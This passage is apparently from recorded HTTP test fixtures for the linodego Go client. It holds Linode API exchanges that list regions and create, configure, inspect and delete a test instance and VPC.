"NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45,172.233.128.38,172.233.128.53,172.233.128.37,172.233.128.34,172.233.128.36,172.233.128.33,172.233.128.39,172.233.128.43,172.233.128.44", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 31}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:35 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-iad","type":"g6-nanode-1","label":"go-test-ins-wo-disk-870uf66ase4o","firewall_id":1339169,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 68361100, "label": "go-test-ins-wo-disk-870uf66ase4o", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.234.39.119"], "ipv6": "1234::5678/128", "image": null, "region": "us-iad", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000, "accelerated_devices": 0}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "17770b21ecd52c259b180efcb46d6a50f80301b2", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": null, "capabilities": ["Block Storage Encryption"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "8" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-0mtdc7512fl4","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68361100/configs method: POST response: body: '{"id": 71709947, "label": "go-test-conf-0mtdc7512fl4", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-vpc-1733944656783596000","region":"us-iad","subnets":[{"label":"linodego-vpc-test-1733944656783660000","ipv4":"192.168.0.0/25"}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs method: POST response: body: '{"id": 129744, "label": "go-test-vpc-1733944656783596000", "description": "", "region": "us-iad", "subnets": [{"id": 124762, "label": "linodego-vpc-test-1733944656783660000", "ipv4": "192.168.0.0/25", "ipv6": null, "linodes": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "367" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:37 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-0mtdc7512fl4","comments":"","devices":{},"helpers":{"updatedb_disabled":true,"distro":true,"modules_dep":true,"network":true,"devtmpfs_automount":true},"interfaces":[{"purpose":"public"},{"label":"testvlan","purpose":"vlan"},{"purpose":"vpc","subnet_id":124762,"ipv4":{"nat_1_1":"any"}}],"memory_limit":0,"kernel":"linode/latest-64bit","init_rd":null,"root_device":"/dev/sda","run_level":"default","virt_mode":"paravirt"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68361100/configs/71709947 method: PUT response: body: '{"id": 71709947, "label": "go-test-conf-0mtdc7512fl4", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": [{"id": 3595737, "purpose": "public", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": 3595738, "purpose": "vlan", "primary": false, "active": false, "ipam_address": "", "label": "testvlan", "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": 3595739, "purpose": "vpc", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": 129744, "subnet_id": 124762, "ipv4": {"vpc": "192.168.0.2", "nat_1_1": "172.234.39.119"}, "ipv6": null, "ip_ranges": []}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:37 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68361100/ips method: GET response: body: '{"ipv4": {"public": [{"address": "172.234.39.119", "gateway": "172.234.39.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "172-234-39-119.ip.linodeusercontent.com", "linode_id": 68361100, "region": "us-iad", "vpc_nat_1_1": {"vpc_id": 129744, "subnet_id": 124762, "address": "192.168.0.2"}, "reserved": false}], "private": [], "shared": [], "reserved": [], "vpc": [{"address": "192.168.0.2", "address_range": null, "vpc_id": 129744, "subnet_id": 124762, "region": "us-iad", "linode_id": 68361100, "config_id": 71709947, "interface_id": 3595739, "nodebalancer_id": null, "active": false, "nat_1_1": "172.234.39.119", "gateway": "192.168.0.1", "prefix": 25, "subnet_mask": "255.255.255.128"}]}, "ipv6": {"slaac": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 68361100, "region": "us-iad", "public": true}, "link_local": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 68361100, "region": "us-iad", "public": false}, "global": []}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:37 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68361100 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:39 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/129744 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:39 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestIPAddresses_List.yaml000066400000000000000000001224021474652371000314520ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17,172.232.0.16,172.232.0.21,172.232.0.13,172.232.0.22,172.232.0.9,172.232.0.19,172.232.0.20,172.232.0.15,172.232.0.18", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21,172.232.32.23,172.232.32.17,172.232.32.18,172.232.32.16,172.232.32.22,172.232.32.20,172.232.32.14,172.232.32.11,172.232.32.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19,172.232.160.21,172.232.160.17,172.232.160.15,172.232.160.18,172.232.160.8,172.232.160.12,172.232.160.11,172.232.160.14,172.232.160.16", "ipv6": 